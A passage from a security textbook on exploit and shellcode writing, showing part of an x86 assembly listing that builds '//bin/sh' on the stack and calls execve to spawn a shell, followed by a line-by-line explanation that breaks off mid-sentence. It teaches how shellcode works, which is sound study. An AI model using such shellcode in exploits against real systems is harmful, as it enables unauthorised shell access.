Sockets, Shellcode, Porting, and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals

4 pusheax

5 push 0x68732f6e

6 push 0x69622f2f

7 mov ebx, esp

8 push eax

9 push eax

10 push ebx

11 mov al, 59

12 push eax

13 int 80h

Analysis

Using the push instruction, we craft the string //bin/sh on the stack.The extra slash in

the beginning is not a spelling mistake; it is added to make the string eight bytes so that

it can be put on the stack using two push instructions (lines 5 and 6).

First, we make sure the EAX register contains only zeroes by using XOR at line 3.

Then we push this register’s content on the stack so that it can function as string termi-

nator. Now we can push //bin/sh in two steps. Remember that the stack grows back-

wards, so fir ...